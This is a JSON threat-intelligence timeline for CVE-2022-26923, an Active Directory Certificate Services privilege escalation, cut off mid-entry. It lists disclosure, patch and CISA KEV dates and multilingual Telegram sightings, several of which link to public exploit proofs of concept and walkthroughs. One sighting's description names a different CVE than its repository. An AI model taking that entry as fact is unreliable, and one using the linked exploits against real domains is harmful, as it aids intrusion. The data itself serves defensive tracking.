{"metadata": {"vulnerability": "CVE-2022-26923", "count": 100, "kinds": {"milestone": 6, "sighting": 60, "kev": 11, "other": 23}, "linked_omitted": 0}, "data": [{"timestamp": "2022-03-11T00:00:00Z", "date_only": false, "value": "2022-03-11T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2022-26923", "field": "cveMetadata.dateReserved"}, {"timestamp": "2022-05-10T07:00:00Z", "date_only": false, "value": "2022-05-10T07:00:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "document.tracking.revision_history.1.date", "linked_record": true}, {"timestamp": "2022-05-10T07:00:00Z", "date_only": false, "value": "2022-05-10T07:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / microsoft", "record": "CVE-2022-26923", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-05-10T07:00:00Z", "date_only": false, "value": "2022-05-10T07:00:00.000Z", "kind": "other", "label": "Vendor fix", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2022-05-10T08:00:00Z", "date_only": false, "value": "2022-05-10T08:00:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "document.tracking.revision_history.0.date", "linked_record": true}, {"timestamp": "2022-05-10T08:00:00Z", "date_only": false, "value": "2022-05-10T08:00:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26923", "record": "MSRC_CVE-2022-26923", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2022-05-10T20:33:39Z", "date_only": false, "value": "2022-05-10T20:33:39.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2022-26923", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-05-10T21:15:00Z", "date_only": false, "value": "2022-05-10T21:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-J9XF-76VV-4WCG", "record": "GHSA-J9XF-76VV-4WCG", "field": "database_specific.nvd_published_at", "linked_record": true}, {"timestamp": "2022-05-10T21:15:10.133Z", "date_only": false, "value": "2022-05-10T21:15:10.133", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-26923", "record": "FKIE_CVE-2022-26923", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2022-05-10T21:15:10.133Z", "date_only": false, "value": "2022-05-10T21:15:10.133", "kind": "milestone", "label": "Published", "source": "gsd \u00b7 GSD-2022-26923", "record": "GSD-2022-26923", "field": "namespaces.nvd.nist.gov.cve.published", "linked_record": true}, {"timestamp": "2022-05-11T00:00:00Z", "date_only": false, "value": "2022-05-11T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-448", "record": "CERTFR-2022-AVI-448", "field": "revisions.0.revision_date", "linked_record": true}, {"timestamp": "2022-05-11T00:00:58Z", "date_only": false, "value": "2022-05-11T00:00:58Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-J9XF-76VV-4WCG", "record": "GHSA-J9XF-76VV-4WCG", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2022-05-11T04:00:00Z", "date_only": false, "value": "2022-05-11T04:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=801", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "4fe15223-4ca1-4209-8b27-e2ad0b972e40", "url": "https://www.govcert.gov.hk/en/alerts_detail.php?id=801"}, {"timestamp": "2022-05-12T02:37:16Z", "date_only": false, "value": "2022-05-12T02:37:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2166", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "f4c76028-6a58-4b76-80ac-eb3303ccf36b", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aWalkthrough on the exploitation of CVE-2022-26923, a vulnerability in AD Certificate Services\nURL\uff1ahttps://github.com/r1skkam/TryHackMe-CVE-2022-26923\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2166", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2022-05-12T11:01:01Z", "date_only": false, "value": "2022-05-12T11:01:01.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CyberSecurityTechnologies/5987", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "9e02bd9d-73b1-4587-af87-1c51bcf2437d", "content": "#Threat_Research\n1. BPFDoor - An Evasive Linux Backdoor Technical Analysis\nhttps://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis\n2. Active Directory Domain Privilege Escalation (CVE-2022-26923)\nhttps://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4", "url": "https://t.me/CyberSecurityTechnologies/5987"}, {"timestamp": "2022-05-13T00:00:00Z", "date_only": false, "value": "2022-05-13T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-448", "record": "CERTFR-2022-AVI-448", "field": "revisions.1.revision_date", "linked_record": true}, {"timestamp": "2022-05-14T20:49:13Z", "date_only": false, "value": "2022-05-14T20:49:13.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/2188", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "ffe61189-feaa-4a8c-bcd9-ae9d8cf52ed2", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aAn improved Proof of Concept for CVE-2022-1388 w/ Interactive Shell.        No reverse tcp required!\nURL\uff1ahttps://github.com/LudovicPatho/CVE-2022-26923_AD-Certificate-Services\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/2188", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2022-05-14T23:19:02Z", "date_only": false, "value": "2022-05-14T23:19:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackerOne/3335", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "1190af0b-c582-4fbd-b2c4-624ab18157c9", "content": "https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4", "url": "https://t.me/HackerOne/3335", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2022-05-15T06:14:26Z", "date_only": false, "value": "2022-05-15T06:14:26.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cKure/9520", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "a2df620d-a5d1-4415-b96a-b1b87ea4fa47", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Active Directory Domain Privilege Escalation (CVE-2022\u201326923).\n\nhttps://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4", "url": "https://t.me/cKure/9520", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2022-06-04T13:40:38Z", "date_only": false, "value": "2022-06-04T13:40:38.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/6131", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "b0a97dfc-fb20-4ea0-9841-6f091c2fd0d6", "content": "#Red_Team_Tactics\n1. Abusing CVE-2022-26923 through SOCKS5 on a Mythic C2 agent\nhttps://macrosec.tech/index.php/2022/06/01/abusing-cve-2022-26923-through-socks5-on-a-mythic-c2-agent\n2. Quantum Insert: bypassing IP\u00a0restrictions\nhttps://diablohorn.com/2017/05/21/quantum-insert-bypassing-ip-restrictions", "url": "https://t.me/CyberSecurityTechnologies/6131", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2022-08-03T05:03:25Z", "date_only": false, "value": "2022-08-03T05:03:25.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/NarimanGharib/325", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "81b21e3f-f3de-4132-82e7-930f7c1058d6", "content": "\u0645\u0647\u0627\u062c\u0645 \u0627\u0632 \u06cc\u06a9 \u062d\u0641\u0631\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0628\u0647 \u0646\u0627\u0645 CVE-2022-26923 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0631\u062f\u0647 \u06a9\u0647 \u0628\u06cc\u0634 \u0627\u0632 \u0686\u0647\u0627\u0631 \u0645\u0627\u0647 \u067e\u06cc\u0634 \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0628\u0648\u062f \u0648 \u0628\u0631\u0627\u0634 \u0647\u0645\u0648\u0646 \u0645\u0648\u0642\u0639 \u0628\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0647\u0645 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0628\u0648\u062f. \u0686\u0647\u0627\u0631\u0645\u0627\u0647 \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a \u0645\u062c\u0627\u0632\u06cc \u06cc\u0639\u0646\u06cc \u06cc\u06a9 \u0642\u0631\u0646. \u0648\u0642\u062a\u06cc \u06a9\u0627\u0631\u0647\u0627 \u0628\u0631 \u0627\u0633\u0627\u0633 \u0631\u0627\u0628\u0637\u0647 \u062a\u0642\u0633\u06cc\u0645 \u0628\u0634\u0646\u060c \u0646\u0642\u0637\u0647 \u0636\u0639\u0641 \u0628\u0632\u0631\u06af\u06cc \u0628\u0648\u062c\u0648\u062f \u0645\u06cc\u0627\u062f \u06a9\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632\u0634 \u0641\u0642\u0637 \u0628\u062d\u062b \u0632\u0645\u0627\u0646\u0647.\nhttps://twitter.com/ayatsubzero/status/1554633303969472512", "url": "https://t.me/NarimanGharib/325"}, {"timestamp": "2022-08-18T00:00:00Z", "date_only": false, "value": "2022-08-18T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2022-26923", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "b7df40e3-bcb6-4eef-8ba5-b10ddbe05789", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-08-18T00:00:00Z", "date_only": false, "value": "2022-08-18T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2022-26923", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "b83c0e3c-81fa-4e61-a716-6dbce829934e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-08-18T00:00:00Z", "date_only": true, "value": "2022-08-18", "kind": "other", "label": "Catalog added", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-26923", "field": "containers.adp.1.metrics.1.other.content.dateAdded"}, {"timestamp": "2022-08-18T00:00:00Z", "date_only": false, "value": "2022-08-18T00:00:00.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2022-26923", "field": "evidence.0.details.added_date", "uuid": "b83c0e3c-81fa-4e61-a716-6dbce829934e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-08-18T00:00:00Z", "date_only": true, "value": "2022-08-18", "kind": "kev", "label": "Date added", "source": "cisa-kev", "record": "CVE-2022-26923", "field": "evidence.0.details.date_added", "uuid": "b7df40e3-bcb6-4eef-8ba5-b10ddbe05789", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-08-18T00:00:00Z", "date_only": false, "value": "2022-08-18T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "cisa-kev", "record": "CVE-2022-26923", "field": "timestamps.first_seen_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "b7df40e3-bcb6-4eef-8ba5-b10ddbe05789", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-08-18T00:00:00Z", "date_only": false, "value": "2022-08-18T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2022-26923", "field": "timestamps.first_seen_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "b83c0e3c-81fa-4e61-a716-6dbce829934e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-08-18T00:00:00Z", "date_only": false, "value": "2022-08-18T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "cisa-kev", "record": "CVE-2022-26923", "field": "status.status_updated_at", "uuid": "b7df40e3-bcb6-4eef-8ba5-b10ddbe05789", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-08-18T00:00:00Z", "date_only": false, "value": "2022-08-18T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2022-26923", "field": "status.status_updated_at", "uuid": "b83c0e3c-81fa-4e61-a716-6dbce829934e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-08-18T00:00:00Z", "date_only": false, "value": "2022-08-18T00:00:00.000Z", "kind": "other", "label": "Timeline", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-26923", "field": "containers.adp.1.timeline.0.time", "text": "CVE-2022-26923 added to CISA KEV"}, {"timestamp": "2022-08-20T10:09:16Z", "date_only": false, "value": "2022-08-20T10:09:16.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberbannews_ir/6477", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "7c5d3f2f-bedb-4108-a037-8b44da3a0aff", "content": "\u200d \ud83d\uded1\u0627\u0641\u0632\u0648\u062f\u0647 \u0634\u062f\u0646 7 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062c\u062f\u06cc\u062f \u0628\u0647 \u0641\u0647\u0631\u0633\u062a \u0628\u0627\u06af \u0647\u0627\u06cc CISA\n\n\u0622\u0698\u0627\u0646\u0633 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u0648 \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a \u0622\u0645\u0631\u06cc\u06a9\u0627 \u06cc\u0627 \u0647\u0645\u0627\u0646 \u0633\u06cc\u0633\u0627 7 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u0628\u0647 \u0641\u0647\u0631\u0633\u062a \u0628\u0627\u06af \u0647\u0627\u06cc \u062a\u062d\u062a \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0627\u0631\u06cc \u062e\u0648\u062f \u0627\u0641\u0632\u0648\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0647\u0627\u06cc \u062c\u062f\u06cc\u062f \u062a\u0648\u0633\u0637 \u0627\u067e\u0644\u060c \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a\u060c \u0627\u0633 \u0627\u0650\u06cc \u067e\u06cc \u0648 \u06af\u0648\u06af\u0644 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0634\u062f\u0647 \u0627\u0646\u062f.\n\n\u0628\u0627 \u0627\u062d\u062a\u0633\u0627\u0628 \u0627\u06cc\u0646 7 \u0645\u0648\u0631\u062f \u062c\u062f\u06cc\u062f\u060c \u0641\u0647\u0631\u0633\u062a \u0628\u0627\u06af \u0647\u0627\u06cc \u0633\u06cc\u0633\u0627 \u062d\u0627\u0644\u0627 \u0634\u0627\u0645\u0644 801 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0622\u0698\u0627\u0646\u0633 \u0647\u0627\u06cc \u0641\u062f\u0631\u0627\u0644 \u0628\u0627\u06cc\u0633\u062a\u06cc \u0637\u0628\u0642 \u062a\u0627\u0631\u06cc\u062e \u0647\u0627\u06cc \u062a\u0639\u06cc\u06cc\u0646 \u0634\u062f\u0647\u060c \u0622\u0646 \u0647\u0627 \u0631\u0627 \u0627\u0635\u0644\u0627\u062d \u06a9\u0646\u0646\u062f. \n\n\u0633\u06cc\u0633\u0627 \u0627\u0632 \u062a\u0645\u0627\u0645\u06cc \u0622\u0698\u0627\u0646\u0633 \u0647\u0627\u06cc \u0641\u062f\u0631\u0627\u0644 \u0648 \u0634\u0631\u06a9\u062a \u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637\u0647 \u062e\u0648\u0627\u0633\u062a\u0647\u060c \u062a\u0627 \u062a\u0627\u0631\u06cc\u062e 8 \u0633\u067e\u062a\u0627\u0645\u0628\u0631 2022 \u0627\u06cc\u0646 7 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062c\u062f\u06cc\u062f \u0631\u0627 \u0627\u0635\u0644\u0627\u062d \u06a9\u0646\u0646\u062f:\n\nCVE-2017-15944: \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0634\u0631\u06a9\u062a \u067e\u0627\u0644\u0648 \u0622\u0644\u062a\u0648\nCVE-2022-21971: \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a\nCVE-2022-26923: \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a\nCVE-2022-2856: \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u06af\u0648\u06af\u0644\nCVE-2022-32893: \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0627\u067e\u0644\nCVE-2022-32894: \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0627\u067e\u0644\nCVE-2022-22536: \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0634\u0631\u06a9\u062a SAP\n\u0647\u0646\u0648\u0632 \u0647\u06cc\u0686 \u062c\u0632\u0626\u06cc\u0627\u062a\u06cc \u062f\u0631 \u0627\u0631\u062a\u0628\u0627\u0637 \u0628\u0627 \u0646\u062d\u0648\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0628\u0627\u0632\u06cc\u06af\u0631\u0627\u0646 \u0645\u062e\u0631\u0628 \u0627\u0632 \u0622\u0646 \u0647\u0627 \u0645\u0646\u062a\u0634\u0631 \u0646\u0634\u062f\u0647 \u0627\u0633\u062a. \n\n#\u0622\u0633\u06cc\u0628_\u067e\u0630\u06cc\u0631\u06cc\n\n@cyberbannews_ir", "url": "https://t.me/cyberbannews_ir/6477"}, {"timestamp": "2022-08-22T07:00:59Z", "date_only": false, "value": "2022-08-22T07:00:59.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/poxek/2331", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "d6ebae42-b115-4ad4-b498-c5b45630c8f0", "content": "#Windows #CVE \n\nMicrosoft Windows Active Directory Certificate Services Improper Authorization Privilege Escalation Vulnerability\nCVE-2022-26923\n\n\u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u043c\u0435\u0436\u043d\u044b\u043c \u0441 \u0441\u0435\u0442\u044c\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u043b\u0443\u0436\u0431\u0430\u0445 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 Active Directory. \u0414\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0432\u044b\u0434\u0430\u0447\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432. \u0414\u043e\u0431\u0430\u0432\u0438\u0432 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0435 \u0434\u043e\u043c\u0435\u043d\u0430 \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438.", "url": "https://t.me/poxek/2331"}, {"timestamp": "2022-08-23T14:49:44Z", "date_only": false, "value": "2022-08-23T14:49:44.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/thehackernews/2494", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "688b1f63-e1b6-4214-88f9-0a6056865a52", "content": "CISA has updated its Known Exploited Vulnerabilities Catalog with 7 new vulnerabilities based on evidence of active exploitation.\n\nRead details: https://thehackernews.com/2022/08/cisa-adds-7-new-actively-exploited.html\n\nCVE-2017-15944, CVE-2022-21971, CVE-2022-26923, CVE-2022-2856, CVE-2022-32893, CVE-2022-32894, CVE-2022-22536", "url": "https://t.me/thehackernews/2494"}, {"timestamp": "2022-08-25T18:06:49Z", "date_only": false, "value": "2022-08-25T18:06:49.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/poxek/2362", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "12fb1e0c-81f3-47a0-bff2-6b2565d64546", "content": "#\u041f\u041e  #CVE\n\nCISA \u043f\u0440\u043e\u0441\u0438\u0442 \u0432\u0430\u0441 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u044d\u0442\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\nCVE-2022-22536, CVE-2022-32893, CVE-2022-32894, CVE-2022-2856, CVE-2022-21971, CVE-2022-26923, CVE-2017-15944\n\nCISA (\u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0421\u0428\u0410) \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u043e \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0434\u043e\u0431\u0430\u0432\u0438\u0432 \u0432 \u043d\u0435\u0433\u043e \u0441\u0435\u043c\u044c \u043d\u043e\u0432\u044b\u0445 \u043f\u043e\u0437\u0438\u0446\u0438\u0439. \u042d\u0442\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Apple, Google, Microsoft, Palo Alto Networks \u0438 SAP.\u00a0", "url": "https://t.me/poxek/2362", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2022-09-02T12:16:15Z", "date_only": false, "value": "2022-09-02T12:16:15.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/poxek/2374", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "e2aa5864-40d2-49d0-a032-5658ef7c1052", "content": "#Windows #CVE\n\nActive Directory Domain Service Privilege Escalation Vulnerability\nCVE-2022-26923\n\n\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c (\u0438\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u0443) \u0434\u043e\u043c\u0435\u043d\u0430. \u0412 Active Directory \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u041d\u0415 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0441\u043b\u0443\u0436\u0431\u044b \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432, \u043d\u043e \u0435\u0441\u043b\u0438 \u043e\u043d\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b, \u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 \u043e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u0435\u0441\u044c \u0434\u043e\u043c\u0435\u043d. \u0414\u043b\u044f \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c 